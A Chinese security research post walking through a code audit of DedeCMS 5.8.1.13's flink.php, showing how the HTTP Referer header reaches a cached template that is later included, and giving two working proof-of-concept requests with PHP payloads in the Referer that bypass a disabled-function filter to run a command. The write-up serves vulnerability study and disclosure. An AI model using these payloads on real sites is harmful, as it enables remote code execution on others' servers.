DedeCMS-Develop-5.8.1.13-referer命令注入研究分析 CVE-2024-0002
本次文章给大家带来代码审计漏洞挖掘的思路,从已知可控变量出发或从函数功能可能照成的隐患出发,追踪参数调用及过滤。最终完成代码的隐患漏洞利用过程。
代码审计挖掘思路
首先flink.php文件的代码执行逻辑,可以使用php的调试功能辅助审计
我们注意到参数dopost 为save 进入条件块中执行,查看相关调用函数,分析是否还有其他的取参处理的逻辑。
函数ShowMsg
我们注意到变量gourl取值http的referer头,据注释来看貌似是跳转的地址,那么我们首先会想到是CSRF或者SSRF,看看后面有没有过滤,或有其他的处理逻辑。
在后面的处理的逻辑中定义了 $htmlhead $htmlfoot变量。
那么我们有理由猜测之后的处理逻辑就是渲染输出。如果之中有参数可控,我们可以尝试插入js代码进行xss攻击,如果服务端进行了模板渲染,我们可以选择模板注入,表达式注入。甚至为后端的代码注入。
着重看一下可控参数$gourl 的处理方式
现在可以确认的是可控参数已经在变量&msg , 跟进loadstring函数查看处理逻辑
变量存入了DedeTemplate类中成员变量sourceString中。
右键查找调用者
GetResult函数将调用这个参数。GetResult()
的实现,目的是生成并返回一个处理后的字符串。一个有效的 PHP 代码段,通过使用正则表达式进行清理,确保返回的字符串没有冗余的标签。
继续分析GetResult函数的调用者,及调用者的处理逻辑。
GetResult函数的返回值经CheckDisabledFunctions函数过滤后写入了。
CheckDisabledFunctions 过滤了一些危险函数方法。我们也有理由相信我们的可控参数一定程序上是可以执行php代码的
可以继续分析WriteCache的调用者,也可以从程序处理后一步一步调,看看能不能函数能不能交汇
在之后的display中,发现有writeCache的调用,而且之后i使用文件包含include 生成的cacheFile文件(这点的逻辑可以在WriteCache函数中看)。
那么现在我们的思路就很明显了,
利用可控变量Referer完成 代码段的闭合!
function JumpUrl(){
if(pgo==0){ location='$gourl'; pgo=1; }
}
默认是在jumpurl函数中,如果默认没调用JumpUrl 我们则可以尝试去闭合这个函数,然后代码执行,
还要考虑一件事情,不能被CheckDisabledFunctions函数检测到,
思路:
1.插入"来绕过 这个会干扰token_get_all_nl函数的提取 (复现方式1)
2.使用php中类似表达式的机制<?=
calc?>
(复现方式2)
3.结合PHP的流机制 命令执行绕过(跟包含文件相关)
漏洞复现
GET /plus/flink.php?dopost=save HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Referer: <?php "system"(calc);?>
Connection: close
Cache-Control: max-age=0z
GET /plus/flink.php?dopost=save HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Referer: <?=`calc`?>
Connection: close
Cache-Control: max-age=0
相关文章:

DedeCMS-Develop-5.8.1.13-referer命令注入研究分析 CVE-2024-0002
本次文章给大家带来代码审计漏洞挖掘的思路,从已知可控变量出发或从函数功能可能照成的隐患出发,追踪参数调用及过滤。最终完成代码的隐患漏洞利用过程。 代码审计挖掘思路 首先flink.php文件的代码执行逻辑,可以使用php的调试功能辅助审计 …...

运用数组和矩阵对数据进行存取和运算——NumPy模块 之五
目录 NumPy模块介绍 3.5.1 NumPy 操纵数组元素的逻辑 3.5.2 添加数组元素操作 1. append() 函数 2. insert() 函数 3.5.3 删除数组元素的操作 delete() 函数 3.5.4 数组元素缺失情况的处理 isnan() 函数 3.5.5 处理数组中元素重复情况 unique() 函数 3.5.6 拼接数组操作 1. con…...

Nginx的增强与可视化!OpenResty Manager - 现代化UI+高性能反向代理+安全防护
以下是对OpenResty Manager的简要介绍: OpenResty Manager (Nginx 增强版),是一款容易使用、功能强大且美观的反向代理工具 ,可以作为OpenResty Edge 的开源替代品基于 OpenResty 开发,支持并继承 OpenRes…...

Linux:43线程封装与互斥lesson31
mmap文件映射视屏:待看... 目录 线程栈 代码证明:一个线程的数据,其他线程也可以访问 线程封装 简单封装,2.thread Thread.hpp Main.cc Makefile 结果: 编辑 问题1: 问题2: lamba表达式 模版封…...

“工作区”升级为“磁盘”、数据集统计概览优化|ModelWhale 版本更新
本次更新围绕用户在实际项目中对平台的理解和管理体验进行了多项优化。 “工作区”升级为“磁盘”、及其管理优化 平台“工作区”概念正式更名为“磁盘”,突出其存储功能。原有以目录代称的存储区域划分同步更名,其中“work目录”更改为“个人磁盘”&am…...

【Mysql基础】一、基础入门和常见SQL语句
📚博客主页:代码探秘者-CSDN博客 🌈:最难不过坚持 ✨专栏 🌈语言篇C语言\ CJavase基础🌈数据结构专栏数据结构🌈算法专栏必备算法🌈数据库专栏MysqlRedis🌈必备篇 其他…...

AWS之存储服务
目录 一、传统存储术语 二、传统存储与云存储的关系 三、云存储之AWS 使用场景 文件存储 数据块存储 对象存储 EBS、EFS、S3对比 EBS块存储 S3对象存储 S3 使用案例 S3 存储类 EFS文件存储 一、传统存储术语 分类 接口/技术类型 应用场景特点 关系及区别 机械硬…...

Jmeter中的Json提取器如何使用?
在JMeter中使用JSON提取器可以方便地从JSON格式的响应数据中提取特定字段的值。以下是详细步骤和示例: 1. 添加JSON提取器 右击目标HTTP请求 -> 选择 添加 -> 后置处理器 -> JSON提取器。 2. 配置JSON提取器参数 变量名称(Names of created…...

从零理解 C++ 中的原子布尔变量:`std::atomic<bool>` 入门指南
文章目录 引言:为什么需要原子变量?一、什么是 std::atomic<bool>?二、为什么不用普通 bool?一个反面例子三、std::atomic<bool> 的用法四、std::atomic<bool> 的优势五、完整示例:多线程文件传输六…...
软件领域第三方检测机构:如何保障软件品质与安全?
在软件领域,第三方检测机构扮演着极其重要的角色,它们与软件开发者和使用者保持独立,对软件的品质和安全性进行公正而专业的评估。凭借严格的技术方法和丰富的实践经历,这些机构能够揭示软件中潜藏的问题,进而确保软件…...
单例模式的两种设计
单例模式确保一个类只有一个实例,并提供一个全局访问点。 1. 饿汉模式 (Eager Initialization) 饿汉模式在程序启动时就创建实例,线程安全。 cpp class EagerSingleton { public:// 删除拷贝构造函数和赋值运算符EagerSingleton(const EagerSingleton…...
MySQL 5.7 之后的特性解析:从 8.0 到 8.4 的技术进化
MySQL 是全球最流行的开源关系型数据库之一,广泛应用于 Web 应用、数据分析和企业级系统。自 MySQL 5.7(2015 年发布)以来,MySQL 8.0(2018 年)、8.1(2023 年)、8.4(2024 …...
PHP框架在分布式系统中的应用!
随着互联网业务的快速发展,分布式系统因其高可用性、可扩展性和容错性成为现代应用架构的主流选择。而PHP作为一门成熟的Web开发语言,凭借其简洁的语法、丰富的框架生态和持续的性能优化,逐渐在分布式系统中崭露头角。本文将深入探讨PHP框架在…...
[学习]RTKLib详解:ionex.c、options.c与preceph.c
RTKLib详解:ionex.c、options.c与preceph.c 本文是 RTKLlib详解 系列文章的一篇,目前该系列文章还在持续总结写作中,以发表的如下,有兴趣的可以翻阅。 [学习] RTKlib详解:功能、工具与源码结构解析 [学习]RTKLib详解&…...

六个仓库合并为一个仓库,保留master和develop分支的bat脚本
利用git subtree可以实现多个仓库合并为一个仓库,手动操作起来太麻烦了,今天花了点时间写了一个可执行的脚本,现在操作起来就方便多了。 1、本地新建setup.bat文件 2、用编辑器打开(我用的是Notepad) 3、把下面代码…...

养生:通往健康生活的桥梁
在生活节奏日益加快的今天,养生已成为维持身心健康的必要手段。从日常饮食到运动锻炼,从睡眠质量到心态调节,每一个环节都对我们的生活品质有着重要影响。以下是一些实用的养生建议,帮助你打造健康生活。 饮食养生:均…...

【前端基础】9、CSS的动态伪类(hover、visited、hover、active、focus)【注:本文只有几个粗略说明】
一、什么是伪类 选择器的一种,用于选择处于特定状态的元素。 最常见的现象:鼠标放在某些文字上面,文字就会加上颜色。 鼠标没放上去之前: 鼠标放上去之后: 二、动态伪类 图片来源(链接文章也有其他伪…...

Simufact Welding重塑新能源汽车电池盒焊接工艺
引言 近年来,新能源汽车行业呈爆发式增长,已然成为全球能源转型与汽车产业升级的核心方向。在新能源汽车中,电池系统占据核心地位,作为电池系统重要组成部分的电池盒,也发挥着不可或缺的作用 。目前,电池盒…...

WordPress 网站上的 jpg、png 和 WebP 图片插件
核心功能 1. 转换 AVIF 并压缩 AVIF 将您 WordPress 网站上的 jpg、png 和 WebP 图片转换为 AVIF 格式,并根据您设置的压缩级别压缩 AVIF 图片。如果原始图片已经是 WordPress 6.5 以上支持的 AVIF 格式,则原始 AVIF 图片将仅被压缩。 2. 转换 WebP 并…...
《Vue.js》阅读之响应式数据与副作用函数
Vue.js 《Vue.js设计与实现》(霍春阳) 适合:从零手写Vue3响应式系统,大厂面试源码题直接覆盖。重点章节:第4章(响应式)、第5章(渲染器)、第8章(编译器&…...

如何应对网站被爬虫和采集?综合防护策略与实用方案
在互联网时代,网站内容被恶意爬虫或采集工具窃取已成为常见问题。这不仅侵犯原创权益,还可能影响网站性能和SEO排名。以下是结合技术、策略与法律的综合解决方案,帮助网站构建有效防护体系。 一、技术防护:阻断爬虫的“技术防线”…...

AI智慧公园管理方案:用科技重塑市民的“夜游体验”
AI智慧公园管理方案:多场景智能巡检与安全防控 一、背景与痛点分析 夏季夜间,公园成为市民休闲娱乐的核心场所,但管理难度随之激增: 宠物管理失控:未牵绳宠物进入园区,随地排泄、惊扰游客,甚…...
学习日志04 java
PTA上的练习复盘 java01 编程题作业感悟: 可以用ai指导自己怎么调试,但是不要把调代码这过程里面的精华交给ai,就是自己去修正错误不能让ai代劳!~~~ 1 scanner.close() Scanner *** new Scanner(System.in); ***.close(); …...

LVGL- 按钮矩阵控件
1 按钮矩阵控件 lv_btnmatrix 是 LVGL(Light and Versatile Graphics Library) v8 中提供的一个非常实用的控件,用于创建带有多个按钮的矩阵布局。它常用于实现虚拟键盘、数字键盘、操作面板、选择菜单等场景,特别适用于嵌入式设…...
【node】6 包与npm
前言 目标 1 了解什么是包 2 怎么使用npm下载包 #mermaid-svg-Ur0d2uCdQeAQOJjW {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-Ur0d2uCdQeAQOJjW .error-icon{fill:#552222;}#mermaid-svg-Ur0d2uCdQeAQOJjW .erro…...

1. 使用 IntelliJ IDEA 创建 React 项目:创建 React 项目界面详解;配置 Yarn 为包管理器
1. 使用 IntelliJ IDEA 创建 React 项目:创建 React 项目界面详解;配置 Yarn 为包管理器 🧩 使用 IntelliJ IDEA 创建 React 项目(附 Yarn 配置与 Vite 建议)📷 创建 React 项目界面详解1️⃣ Name…...
T-SQL在SQL Server中判断表、字段、索引、视图、触发器、Synonym等是否存在
SQL Server创建或者删除表、字段、索引、视图、触发器前判断是否存在。 目录 1. SQL Server创建表之前判断表是否存在 2. SQL Server新增字段之前判断是否存在 3. SQL Server删除字段之前判断是否存在 4. SQL Server新增索引之前判断是否存在 5. SQL Server判断视图是否存…...
Docker中mysql镜像保存与导入
一、Docker中mysql镜像保存 Docker 的 MySQL 镜像保存通常有两种场景:一种是保存镜像本身的修改(如配置、初始化数据),另一种是持久化保存容器运行时产生的数据(如数据库表、用户数据)。以下是具体方法&am…...

【JVM】从零开始深度解析JVM
本篇博客给大家带来的是JVM的知识点, 重点在类加载和垃圾回收机制上. 🐎文章专栏: JavaEE初阶 🚀若有问题 评论区见 ❤ 欢迎大家点赞 评论 收藏 分享 如果你不知道分享给谁,那就分享给薯条. 你们的支持是我不断创作的动力 . 王子,公主请阅🚀 …...

算法训练营第十四天|110. 平衡二叉树、257. 二叉树的所有路径、404. 左叶子之和、222.完全二叉树的节点个数
110.平衡二叉树 题目 思路与解法 # Definition for a binary tree node. # class TreeNode: # def __init__(self, val0, leftNone, rightNone): # self.val val # self.left left # self.right right class Solution:def isBalanced(self, r…...